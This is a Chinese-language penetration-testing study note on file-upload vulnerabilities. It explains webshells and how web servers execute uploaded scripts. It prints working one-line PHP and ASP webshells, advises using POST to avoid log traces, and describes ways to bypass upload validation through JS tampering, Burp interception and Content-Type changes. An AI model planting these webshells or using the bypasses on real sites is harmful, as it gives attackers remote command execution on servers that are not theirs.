文件上传 第三十九天
webshell
web网站的shell
shell 通过shell管理操作系统,shell是用户和内核交互的程序
shell功能
文件管理
命令执行
管理数据库
类别(大马和小马)
大马 功能全面
小马 功能单一 udf.php file.php system.php
php执行系统命令
一句话木马 php asp
<?php @eval($_POST['pass']);?>
$_POST ==> $_REQUEST
<?php assert($_POST['pass']);?>
$_POST ==> $_REQUEST
<?php preg_math('/123/e', $_POST['pass'], '123456');?>
<% eval request("pass") %>
附注:不用get的原因是,会有日志痕迹,并且会有数据冲突问题!
网站的组成
linux/windows + apache + mysql/oracle/mongodb/redis + php(module)
linux/windows + nginx + mysql + php-fpm(fastcgi)
windows + iis + mysql + php(fastcgi)
linux/windows + tomcat/weblogic/jboss + mysql/oracle/mongodb/redis + jsp/jspx
windows + iis + mssql/access + asp/aspx
以上三大类,客户端进行请求时,http://www.a.com/upload/404.php,中间件(
iis,apache,nginx,tomcat,weblogic,jboss)接受到请求,会进行解析,识别出要请求的路径以及
文件名字,如果文件后缀是中间件可识别的脚本语言后缀(php,asp,jsp,...),就会调用php、.net
、c#、java程序,去执行对应的文件。如果文件后缀,不是中间件可识别的脚本语言后缀,就直接
让客户端下载这个文件。
webshell需要放在网站设置的目录当中,后缀需要是中间件可识别的脚本语言后缀,
这个webshell才能够正常使用。使用时,先写网址,在后面加路径,以及文件名字。
linux/windows + nginx + nodejs/go/python/ruby/... + mysql/sqlite/oracle/redis // 没有webshell
靠路由的方式,进行解析请求的。
文件上传的触发点
前端js验证
文件的后缀:js前端验证
文件的类型,
两大类:前端与后端
文件的内容:文件头检测,文件扩展名检测,文件加载(图片渲染,识别图片内容)
修改js文件,禁用js,burpsuite的抓包,改包
大部分网站都是前端验证加后端验证一起操作
文件类型验证
修改上传文件类型:
content-type
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 zhumeng512@qq.com
文章标题:文件上传 第三十九天
本文作者:弈少
发布时间:2019-09-14, 14:42:04
最后更新:2019-09-15, 14:19:56
原始链接:http://yoursite.com/2019/09/14/北京渗透测试第三十九天 20190911/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。